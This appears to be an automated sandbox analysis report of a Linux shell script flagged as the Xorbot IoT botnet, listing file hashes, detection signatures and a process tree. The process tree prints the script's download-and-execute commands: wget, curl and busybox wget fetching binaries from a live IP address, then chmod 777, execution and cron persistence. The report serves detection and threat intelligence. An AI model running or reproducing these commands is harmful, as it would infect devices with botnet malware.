Analysis

  • max time kernel
    150s
  • max time network
    92s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02-12-2024 00:17

General

  • Target

    RKY1N_bins.sh

  • Size

    10KB

  • MD5

    3185a06c9e65901556ba39c015fcb435

  • SHA1

    125fb6885ad57ad672d32176a30567375ad03770

  • SHA256

    aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60

  • SHA512

    0c420af2a9aafa1d0b63b00fea070ec9e9d29ffa14fca78e8b5c5bf1ac6489562fc2f2326b1aefa934b0ba382114ab7f0adb81675aaec91f1c923c38c92d6e39

  • SSDEEP

    192:ojPta6AP3hIMGIQ+QeQsQFQxQpZLbHMwjPta6YP3hIM5Q+QeQsQFQxQ5c:DP3hIMGIZlVEMkZLbHMJP3hIM5ZlVEMf

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/RKY1N_bins.sh
    /tmp/RKY1N_bins.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:667
        • /usr/bin/wget
          wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:669
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:692
        • /bin/chmod
          chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Executes dropped EXE
          PID:695
        • /bin/rm
          rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
            PID:697
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:698
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:699
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:702
          • /bin/chmod
            chmod 777 mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • File and Directory Permissions Modification
            PID:705
          • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            ./mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Executes dropped EXE
            PID:707
          • /bin/rm
            rm mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
              PID:709
            • /usr/bin/wget
              wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:711
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:717
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:727
            • /bin/chmod
              chmod 777 utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • File and Directory Permissions Modification
              PID:730
            • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              ./utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Executes dropped EXE
              PID:731
            • /bin/rm
              rm utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
                PID:733
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:735
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:741
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:757
              • /bin/chmod
                chmod 777 Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • File and Directory Permissions Modification
                PID:760
              • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                ./Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Executes dropped EXE
                PID:762
              • /bin/rm
                rm Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                  PID:765
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:767
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:770
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:771
                • /bin/chmod
                  chmod 777 Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • File and Directory Permissions Modification
                  PID:772
                • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  ./Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:774
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:776
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:778
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:779
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:780
                    • /bin/rm
                      rm Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                      2⤵
                        PID:784
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                        2⤵
                          PID:788
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                          2⤵
                            PID:790

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /var/spool/cron/crontabs/tmp.1yLpY9

                          Filesize

                          210B

                          MD5

                          55022c4808234718403f899c362a5f1f

                          SHA1

                          a61d38600fa6bd32ec4662d659bf4b2f077ae0c4

                          SHA256

                          d68236aea4d1bee266a2ff092d00275c7c504020b226f64281f17c6b50ee9179

                          SHA512

                          51b42380fc4fd1d278a6c3f493f63fea15b9f9d9e711db8c203739f70ece3439dbb9f6162bd9963d7190cfe2ede1b7e4ff8e9b2cd19f797d445dd41b95e36004